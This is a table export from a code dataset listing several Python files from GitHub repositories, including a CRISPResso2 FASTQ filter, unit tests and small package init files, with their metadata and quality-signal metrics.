hexsha string | size int64 | ext string | lang string | max_stars_repo_path string | max_stars_repo_name string | max_stars_repo_head_hexsha string | max_stars_repo_licenses list | max_stars_count int64 | max_stars_repo_stars_event_min_datetime string | max_stars_repo_stars_event_max_datetime string | max_issues_repo_path string | max_issues_repo_name string | max_issues_repo_head_hexsha string | max_issues_repo_licenses list | max_issues_count int64 | max_issues_repo_issues_event_min_datetime string | max_issues_repo_issues_event_max_datetime string | max_forks_repo_path string | max_forks_repo_name string | max_forks_repo_head_hexsha string | max_forks_repo_licenses list | max_forks_count int64 | max_forks_repo_forks_event_min_datetime string | max_forks_repo_forks_event_max_datetime string | content string | avg_line_length float64 | max_line_length int64 | alphanum_fraction float64 | qsc_code_num_words_quality_signal int64 | qsc_code_num_chars_quality_signal float64 | qsc_code_mean_word_length_quality_signal float64 | qsc_code_frac_words_unique_quality_signal float64 | qsc_code_frac_chars_top_2grams_quality_signal float64 | qsc_code_frac_chars_top_3grams_quality_signal float64 | qsc_code_frac_chars_top_4grams_quality_signal float64 | qsc_code_frac_chars_dupe_5grams_quality_signal float64 | qsc_code_frac_chars_dupe_6grams_quality_signal float64 | qsc_code_frac_chars_dupe_7grams_quality_signal float64 | qsc_code_frac_chars_dupe_8grams_quality_signal float64 | qsc_code_frac_chars_dupe_9grams_quality_signal float64 | qsc_code_frac_chars_dupe_10grams_quality_signal float64 | qsc_code_frac_chars_replacement_symbols_quality_signal float64 | qsc_code_frac_chars_digital_quality_signal float64 | qsc_code_frac_chars_whitespace_quality_signal float64 | qsc_code_size_file_byte_quality_signal float64 | qsc_code_num_lines_quality_signal float64 | qsc_code_num_chars_line_max_quality_signal float64 | qsc_code_num_chars_line_mean_quality_signal float64 | qsc_code_frac_chars_alphabet_quality_signal float64 | qsc_code_frac_chars_comments_quality_signal float64 | qsc_code_cate_xml_start_quality_signal float64 | qsc_code_frac_lines_dupe_lines_quality_signal float64 | qsc_code_cate_autogen_quality_signal float64 | qsc_code_frac_lines_long_string_quality_signal float64 | qsc_code_frac_chars_string_length_quality_signal float64 | qsc_code_frac_chars_long_word_length_quality_signal float64 | qsc_code_frac_lines_string_concat_quality_signal float64 | qsc_code_cate_encoded_data_quality_signal float64 | qsc_code_frac_chars_hex_words_quality_signal float64 | qsc_code_frac_lines_prompt_comments_quality_signal float64 | qsc_code_frac_lines_assert_quality_signal float64 | qsc_codepython_cate_ast_quality_signal float64 | qsc_codepython_frac_lines_func_ratio_quality_signal float64 | qsc_codepython_cate_var_zero_quality_signal bool | qsc_codepython_frac_lines_pass_quality_signal float64 | qsc_codepython_frac_lines_import_quality_signal float64 | qsc_codepython_frac_lines_simplefunc_quality_signal float64 | qsc_codepython_score_lines_no_logic_quality_signal float64 | qsc_codepython_frac_lines_print_quality_signal float64 | qsc_code_num_words int64 | qsc_code_num_chars int64 | qsc_code_mean_word_length int64 | qsc_code_frac_words_unique null | qsc_code_frac_chars_top_2grams int64 | qsc_code_frac_chars_top_3grams int64 | qsc_code_frac_chars_top_4grams int64 | qsc_code_frac_chars_dupe_5grams int64 | qsc_code_frac_chars_dupe_6grams int64 | qsc_code_frac_chars_dupe_7grams int64 | qsc_code_frac_chars_dupe_8grams int64 | qsc_code_frac_chars_dupe_9grams int64 | qsc_code_frac_chars_dupe_10grams int64 | qsc_code_frac_chars_replacement_symbols int64 | qsc_code_frac_chars_digital int64 | qsc_code_frac_chars_whitespace int64 | qsc_code_size_file_byte int64 | qsc_code_num_lines int64 | qsc_code_num_chars_line_max int64 | qsc_code_num_chars_line_mean int64 | qsc_code_frac_chars_alphabet int64 | qsc_code_frac_chars_comments int64 | qsc_code_cate_xml_start int64 | qsc_code_frac_lines_dupe_lines int64 | qsc_code_cate_autogen int64 | qsc_code_frac_lines_long_string int64 | qsc_code_frac_chars_string_length int64 | qsc_code_frac_chars_long_word_length int64 | qsc_code_frac_lines_string_concat null | qsc_code_cate_encoded_data int64 | qsc_code_frac_chars_hex_words int64 | qsc_code_frac_lines_prompt_comments int64 | qsc_code_frac_lines_assert int64 | qsc_codepython_cate_ast int64 | qsc_codepython_frac_lines_func_ratio int64 | qsc_codepython_cate_var_zero int64 | qsc_codepython_frac_lines_pass int64 | qsc_codepython_frac_lines_import int64 | qsc_codepython_frac_lines_simplefunc int64 | qsc_codepython_score_lines_no_logic int64 | qsc_codepython_frac_lines_print int64 | effective string | hits int64 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
285303810205b684a14ea5f38e4809db6d410721 | 96 | py | Python | venv/lib/python3.8/site-packages/jeepney/io/threading.py | Retraces/UkraineBot | 3d5d7f8aaa58fa0cb8b98733b8808e5dfbdb8b71 | [
"MIT"
] | 2 | 2022-03-13T01:58:52.000Z | 2022-03-31T06:07:54.000Z | venv/lib/python3.8/site-packages/jeepney/io/threading.py | DesmoSearch/Desmobot | b70b45df3485351f471080deb5c785c4bc5c4beb | [
"MIT"
] | 19 | 2021-11-20T04:09:18.000Z | 2022-03-23T15:05:55.000Z | venv/lib/python3.8/site-packages/jeepney/io/threading.py | DesmoSearch/Desmobot | b70b45df3485351f471080deb5c785c4bc5c4beb | [
"MIT"
] | null | null | null | /home/runner/.cache/pip/pool/9b/01/82/365ba7fdb697f18e1e89e9c218329d643e1229d4ccbc14e4204d0430aa | 96 | 96 | 0.895833 | 9 | 96 | 9.555556 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.4375 | 0 | 96 | 1 | 96 | 96 | 0.458333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | null | 0 | 0 | null | null | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
288bff86045a7410f0e8fd64fbff7866443f65fe | 14,180 | py | Python | CRISPResso2/filterFastqs.py | astroboi-SH-KWON/CRISPR_toolkit_with_comments | 747c026159ceefd7de4d336782774147d369da4a | [
"MIT"
] | null | null | null | CRISPResso2/filterFastqs.py | astroboi-SH-KWON/CRISPR_toolkit_with_comments | 747c026159ceefd7de4d336782774147d369da4a | [
"MIT"
] | null | null | null | CRISPResso2/filterFastqs.py | astroboi-SH-KWON/CRISPR_toolkit_with_comments | 747c026159ceefd7de4d336782774147d369da4a | [
"MIT"
] | null | null | null | '''
CRISPResso2 - Kendell Clement and Luca Pinello 2018
Software pipeline for the analysis of genome editing outcomes from deep sequencing data
(c) 2018 The General Hospital Corporation. All Rights Reserved.
'''
import gzip
import argparse
import io
import os
import datetime
import numpy
from Bio.SeqIO.QualityIO impor... | 44.037267 | 163 | 0.754513 | 2,475 | 14,180 | 3.976566 | 0.062222 | 0.050803 | 0.091445 | 0.025605 | 0.86202 | 0.835603 | 0.817923 | 0.807356 | 0.807356 | 0.800041 | 0 | 0.036182 | 0.10536 | 14,180 | 321 | 164 | 44.174455 | 0.739634 | 0.049577 | 0 | 0.689781 | 0 | 0 | 0.074049 | 0.0032 | 0 | 0 | 0 | 0 | 0 | 1 | 0.058394 | false | 0 | 0.025547 | 0 | 0.083942 | 0.029197 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
25073f4b48875e880c33f5a2a1fcc5a63e8997e3 | 41 | py | Python | python/testData/refactoring/changeSignature/keepKeywordOfArgumentBeforeEmptyVararg.before.py | jnthn/intellij-community | 8fa7c8a3ace62400c838e0d5926a7be106aa8557 | [
"Apache-2.0"
] | 2 | 2019-04-28T07:48:50.000Z | 2020-12-11T14:18:08.000Z | python/testData/refactoring/changeSignature/keepKeywordOfArgumentBeforeEmptyVararg.before.py | Cyril-lamirand/intellij-community | 60ab6c61b82fc761dd68363eca7d9d69663cfa39 | [
"Apache-2.0"
] | 173 | 2018-07-05T13:59:39.000Z | 2018-08-09T01:12:03.000Z | python/testData/refactoring/changeSignature/keepKeywordOfArgumentBeforeEmptyVararg.before.py | Cyril-lamirand/intellij-community | 60ab6c61b82fc761dd68363eca7d9d69663cfa39 | [
"Apache-2.0"
] | 2 | 2020-03-15T08:57:37.000Z | 2020-04-07T04:48:14.000Z | def f(y, *args, x):
pass
f(1, x=42) | 8.2 | 19 | 0.463415 | 10 | 41 | 1.9 | 0.8 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.103448 | 0.292683 | 41 | 5 | 20 | 8.2 | 0.551724 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | false | 0.333333 | 0 | 0 | 0.333333 | 0 | 1 | 1 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 6 |
252a50dfea68cf2f80bb9b25a25c95b1494029d5 | 38 | py | Python | alvinchow_backend/api/grpc/interceptors/__init__.py | alvinchow86/python-backend-template | 46c07d733d68bc8682afd8510a17bc2aa360c606 | [
"MIT"
] | 6 | 2021-01-07T00:20:49.000Z | 2022-01-13T04:53:12.000Z | alvinchow_backend/api/grpc/interceptors/__init__.py | alvinchow86/python-backend-template | 46c07d733d68bc8682afd8510a17bc2aa360c606 | [
"MIT"
] | 4 | 2021-01-06T22:07:43.000Z | 2021-06-02T01:52:41.000Z | alvinchow_backend/api/grpc/interceptors/__init__.py | alvinchow86/python-backend-template | 46c07d733d68bc8682afd8510a17bc2aa360c606 | [
"MIT"
] | 1 | 2021-11-09T07:46:44.000Z | 2021-11-09T07:46:44.000Z | # flake8: noqa
from .default import *
| 12.666667 | 22 | 0.710526 | 5 | 38 | 5.4 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.032258 | 0.184211 | 38 | 2 | 23 | 19 | 0.83871 | 0.315789 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
2539a2bcf07b8027931578e8e475df0191d6c216 | 3,469 | py | Python | tests/test_expect_column_values_to_be_increasing.py | joocer/data-expectations | c2747393575f52d1e2308ccbcb0d7efa5a4eb721 | [
"Apache-2.0"
] | null | null | null | tests/test_expect_column_values_to_be_increasing.py | joocer/data-expectations | c2747393575f52d1e2308ccbcb0d7efa5a4eb721 | [
"Apache-2.0"
] | 4 | 2021-07-12T07:15:08.000Z | 2021-12-24T22:04:45.000Z | tests/test_expect_column_values_to_be_increasing.py | joocer/data_expectations | c2747393575f52d1e2308ccbcb0d7efa5a4eb721 | [
"Apache-2.0"
] | null | null | null | """
Expectation: Column Values Are Increasing
"""
import os
import sys
sys.path.insert(1, os.path.join(sys.path[0], ".."))
import data_expectations as de
from rich import traceback
traceback.install()
# fmt:off
VALID_DATA = [
{ "number": 1, "string": "a" },
{ "number": 3, "string": "b" },
{ "number": 5,... | 30.165217 | 86 | 0.665898 | 474 | 3,469 | 4.533755 | 0.154008 | 0.078176 | 0.081899 | 0.104235 | 0.863192 | 0.798046 | 0.798046 | 0.795254 | 0.763611 | 0.613774 | 0 | 0.007236 | 0.203229 | 3,469 | 114 | 87 | 30.429825 | 0.77026 | 0.058807 | 0 | 0.486486 | 0 | 0 | 0.1012 | 0 | 0 | 0 | 0 | 0 | 0.216216 | 1 | 0.067568 | false | 0 | 0.054054 | 0 | 0.121622 | 0.013514 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
254fd762adcf0ec1ddf44e3f50d490b0b6c7f233 | 4,346 | py | Python | tests/experiment/test_single_experiment.py | huynhngoc/deoxys | b2e9936b723807e129fda36d8d6131ca00db558f | [
"MIT"
] | 1 | 2021-12-28T15:48:45.000Z | 2021-12-28T15:48:45.000Z | tests/experiment/test_single_experiment.py | huynhngoc/deoxys | b2e9936b723807e129fda36d8d6131ca00db558f | [
"MIT"
] | 2 | 2020-06-26T11:03:53.000Z | 2020-06-26T11:05:09.000Z | tests/experiment/test_single_experiment.py | huynhngoc/deoxys | b2e9936b723807e129fda36d8d6131ca00db558f | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
__author__ = "Ngoc Huynh Bao"
__email__ = "ngoc.huynh.bao@nmbu.no"
import pytest
from deoxys.experiment import Experiment, ExperimentPipeline
def test_run_experiment():
exp = Experiment(
log_base_path='../../oxford_perf/logs',
best_model_monitors=['val_loss', 'val_accura... | 27.858974 | 68 | 0.649333 | 559 | 4,346 | 4.627907 | 0.186047 | 0.074217 | 0.078856 | 0.021647 | 0.866254 | 0.850792 | 0.824121 | 0.810978 | 0.765365 | 0.677619 | 0 | 0.022529 | 0.234008 | 4,346 | 155 | 69 | 28.03871 | 0.754581 | 0.015416 | 0 | 0.69697 | 0 | 0 | 0.170526 | 0.110877 | 0 | 0 | 0 | 0 | 0 | 1 | 0.05303 | false | 0 | 0.015152 | 0 | 0.068182 | 0.015152 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
25557d9d37c7774e3580c0247179b524dfbb9742 | 37 | py | Python | roglick/lib/__init__.py | Kromey/roglick | b76202af71df0c30be0bd5f06a3428c990476e0e | [
"MIT"
] | 6 | 2015-05-05T21:28:35.000Z | 2019-04-14T13:42:38.000Z | roglick/lib/__init__.py | Kromey/roglick | b76202af71df0c30be0bd5f06a3428c990476e0e | [
"MIT"
] | null | null | null | roglick/lib/__init__.py | Kromey/roglick | b76202af71df0c30be0bd5f06a3428c990476e0e | [
"MIT"
] | null | null | null | from . import libtcodpy as libtcod
| 9.25 | 34 | 0.756757 | 5 | 37 | 5.6 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.216216 | 37 | 3 | 35 | 12.333333 | 0.965517 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
256f9cf05feb994527227c7851683e2599fe68dd | 34 | py | Python | submitter/abstracts/__init__.py | hmdcpc2021/component_submitter | c094ddb07b28b2c4918f0ed19c1e39f0724b5c8e | [
"Apache-2.0"
] | 1 | 2018-10-18T20:31:46.000Z | 2018-10-18T20:31:46.000Z | submitter/abstracts/__init__.py | hmdcpc2021/component_submitter | c094ddb07b28b2c4918f0ed19c1e39f0724b5c8e | [
"Apache-2.0"
] | 40 | 2018-08-07T11:01:18.000Z | 2022-03-17T13:25:43.000Z | submitter/abstracts/__init__.py | hmdcpc2021/component_submitter | c094ddb07b28b2c4918f0ed19c1e39f0724b5c8e | [
"Apache-2.0"
] | 19 | 2018-05-17T08:16:43.000Z | 2022-02-22T10:13:02.000Z | from .base_adaptor import Adaptor
| 17 | 33 | 0.852941 | 5 | 34 | 5.6 | 0.8 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.117647 | 34 | 1 | 34 | 34 | 0.933333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
c2767af2af94a6907ab06aa61c1e2f9a322f61cf | 99 | py | Python | data/tracking/dlc_on_hpc.py | FedeClaudi/LocomotionControl | 1281f7894825096ad212407351463a2105c5152a | [
"MIT"
] | null | null | null | data/tracking/dlc_on_hpc.py | FedeClaudi/LocomotionControl | 1281f7894825096ad212407351463a2105c5152a | [
"MIT"
] | 2 | 2020-11-23T16:32:11.000Z | 2020-11-23T16:32:11.000Z | data/tracking/dlc_on_hpc.py | FedeClaudi/LocomotionControl | 1281f7894825096ad212407351463a2105c5152a | [
"MIT"
] | null | null | null | import deeplabcut as dlc
import sys
dlc.analyze_videos(sys.argv[0], [sys.argv[1]], sys.argv[2])
| 14.142857 | 59 | 0.717172 | 18 | 99 | 3.888889 | 0.611111 | 0.3 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.034483 | 0.121212 | 99 | 6 | 60 | 16.5 | 0.770115 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.666667 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
c2af7142d024e58de923215838b701da2a1293d7 | 40 | py | Python | src/ugenpy/__init__.py | FunPythonEC/uPy-genpy | bc62e1f5bdabfe3ae6eb908028f722fe677d5fdb | [
"MIT"
] | 3 | 2020-04-17T16:22:11.000Z | 2020-11-22T20:05:03.000Z | src/ugenpy/__init__.py | FunPythonEC/uPy-genpy | bc62e1f5bdabfe3ae6eb908028f722fe677d5fdb | [
"MIT"
] | null | null | null | src/ugenpy/__init__.py | FunPythonEC/uPy-genpy | bc62e1f5bdabfe3ae6eb908028f722fe677d5fdb | [
"MIT"
] | null | null | null | from . import md5
from . import message
| 13.333333 | 21 | 0.75 | 6 | 40 | 5 | 0.666667 | 0.666667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.03125 | 0.2 | 40 | 2 | 22 | 20 | 0.90625 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 6 |
c2bb47d3710841b99ff4cfe3f940bfbb4bcb5948 | 470 | py | Python | pbrl/policy/wrapper.py | jjccero/rliccd | 748bf92a1d9e401172a0d9c435ea75a8e37c6538 | [
"MIT"
] | 11 | 2021-08-28T09:38:01.000Z | 2021-09-18T05:15:23.000Z | pbrl/policy/wrapper.py | jjccero/rl | 45d1a464ec661278372fce2c1d972d02457e21f6 | [
"MIT"
] | null | null | null | pbrl/policy/wrapper.py | jjccero/rl | 45d1a464ec661278372fce2c1d972d02457e21f6 | [
"MIT"
] | 1 | 2021-10-12T12:43:58.000Z | 2021-10-12T12:43:58.000Z | import numpy as np
class TanhWrapper:
def __init__(self, low, high):
self.low = low
self.high = high
def __call__(self, x):
return 0.5 * (self.high - self.low) * np.tanh(x) + 0.5 * (self.low + self.high)
class ClipWrapper:
def __init__(self, low, high):
self.low = low
... | 23.5 | 98 | 0.56383 | 74 | 470 | 3.364865 | 0.27027 | 0.2249 | 0.176707 | 0.11245 | 0.75502 | 0.75502 | 0.618474 | 0.618474 | 0.618474 | 0.618474 | 0 | 0.035714 | 0.285106 | 470 | 19 | 99 | 24.736842 | 0.705357 | 0 | 0 | 0.615385 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.307692 | false | 0 | 0.076923 | 0.153846 | 0.692308 | 0 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 6 |
c2dc933ea85711054fe530c19f1b53f9f033dfe9 | 2,928 | py | Python | tests/admin/test_tokens.py | joshua-cerniglia/duo_client_python | 9d91cdd505d9ed999f8d79305181587d626186bd | [
"Apache-2.0"
] | 96 | 2015-01-02T08:03:29.000Z | 2022-03-28T13:31:39.000Z | tests/admin/test_tokens.py | joshua-cerniglia/duo_client_python | 9d91cdd505d9ed999f8d79305181587d626186bd | [
"Apache-2.0"
] | 87 | 2015-05-12T02:44:33.000Z | 2022-01-20T05:53:27.000Z | tests/admin/test_tokens.py | joshua-cerniglia/duo_client_python | 9d91cdd505d9ed999f8d79305181587d626186bd | [
"Apache-2.0"
] | 110 | 2015-03-03T20:23:42.000Z | 2021-12-16T23:01:29.000Z | from .. import util
import duo_client.admin
from .base import TestAdmin
class TestTokens(TestAdmin):
def test_get_tokens_generator(self):
""" Test to get tokens generator.
"""
generator = self.client_list.get_tokens_generator()
response = next(generator)
self.assertEqual(re... | 34.046512 | 66 | 0.527322 | 299 | 2,928 | 4.996656 | 0.133779 | 0.090361 | 0.052209 | 0.053548 | 0.880187 | 0.825971 | 0.825971 | 0.825971 | 0.771084 | 0.771084 | 0 | 0.018219 | 0.325137 | 2,928 | 85 | 67 | 34.447059 | 0.737854 | 0.081967 | 0 | 0.695652 | 0 | 0 | 0.101208 | 0 | 0 | 0 | 0 | 0 | 0.217391 | 1 | 0.072464 | false | 0 | 0.043478 | 0 | 0.130435 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
6c4bc66f04562d20657f99a8990c971a4449a63a | 96 | py | Python | venv/lib/python3.8/site-packages/keyring/backends/chainer.py | Retraces/UkraineBot | 3d5d7f8aaa58fa0cb8b98733b8808e5dfbdb8b71 | [
"MIT"
] | 2 | 2022-03-13T01:58:52.000Z | 2022-03-31T06:07:54.000Z | venv/lib/python3.8/site-packages/keyring/backends/chainer.py | DesmoSearch/Desmobot | b70b45df3485351f471080deb5c785c4bc5c4beb | [
"MIT"
] | 19 | 2021-11-20T04:09:18.000Z | 2022-03-23T15:05:55.000Z | venv/lib/python3.8/site-packages/keyring/backends/chainer.py | DesmoSearch/Desmobot | b70b45df3485351f471080deb5c785c4bc5c4beb | [
"MIT"
] | null | null | null | /home/runner/.cache/pip/pool/28/c2/fa/6dfff386ad8e40a73ca17b88d56d22a4519e47dec9a928e4669a7d9754 | 96 | 96 | 0.895833 | 9 | 96 | 9.555556 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.40625 | 0 | 96 | 1 | 96 | 96 | 0.489583 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | null | 0 | 0 | null | null | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
666d9105e7c61e4746dc0bb5f542d15a33abb10f | 74 | py | Python | azure_function_sample/test/__init__.py | isabella232/azure-machine-learning-pipeline-observability-sample | ad8455fc5e6d0f6dc1a835cf29bb46a798d9ffe0 | [
"MIT"
] | 1 | 2021-02-12T23:00:53.000Z | 2021-02-12T23:00:53.000Z | azure_function_sample/test/__init__.py | Azure-Samples/azure-machine-learning-pipeline-observability-sample | ad8455fc5e6d0f6dc1a835cf29bb46a798d9ffe0 | [
"MIT"
] | 1 | 2021-02-24T03:35:41.000Z | 2021-02-24T03:35:41.000Z | azure_function_sample/test/__init__.py | isabella232/azure-machine-learning-pipeline-observability-sample | ad8455fc5e6d0f6dc1a835cf29bb46a798d9ffe0 | [
"MIT"
] | 4 | 2020-09-08T17:24:44.000Z | 2022-01-18T15:35:26.000Z | import sys
sys.path.append(".")
sys.path.append("azure_function_sample")
| 14.8 | 40 | 0.756757 | 11 | 74 | 4.909091 | 0.636364 | 0.259259 | 0.481481 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.067568 | 74 | 4 | 41 | 18.5 | 0.782609 | 0 | 0 | 0 | 0 | 0 | 0.297297 | 0.283784 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.333333 | 0 | 0.333333 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 6 |
667a1a42568d08a5f75512f16440c21933d3c0be | 28 | py | Python | python/accel_adxl345/__init__.py | iorodeo/accel_adxl345 | aadbca1c57840f66a61556ff02e72e8b8e4e93e0 | [
"Apache-2.0"
] | null | null | null | python/accel_adxl345/__init__.py | iorodeo/accel_adxl345 | aadbca1c57840f66a61556ff02e72e8b8e4e93e0 | [
"Apache-2.0"
] | null | null | null | python/accel_adxl345/__init__.py | iorodeo/accel_adxl345 | aadbca1c57840f66a61556ff02e72e8b8e4e93e0 | [
"Apache-2.0"
] | null | null | null | from accel_adxl345 import *
| 14 | 27 | 0.821429 | 4 | 28 | 5.5 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.125 | 0.142857 | 28 | 1 | 28 | 28 | 0.791667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
66965487dbd3dd7e61b6a44cc52b054d6de995e1 | 27 | py | Python | pages/scalars/__init__.py | IBM/nesa-demo | 4e87217f44ff66414f78df6962ee8633d89f0cf5 | [
"MIT"
] | 2 | 2021-12-16T13:16:56.000Z | 2022-01-19T14:23:18.000Z | pages/scalars/__init__.py | SocioProphet/nesa-demo | 4e87217f44ff66414f78df6962ee8633d89f0cf5 | [
"MIT"
] | null | null | null | pages/scalars/__init__.py | SocioProphet/nesa-demo | 4e87217f44ff66414f78df6962ee8633d89f0cf5 | [
"MIT"
] | 1 | 2022-03-07T19:57:59.000Z | 2022-03-07T19:57:59.000Z | from .layout import layout
| 13.5 | 26 | 0.814815 | 4 | 27 | 5.5 | 0.75 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.148148 | 27 | 1 | 27 | 27 | 0.956522 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
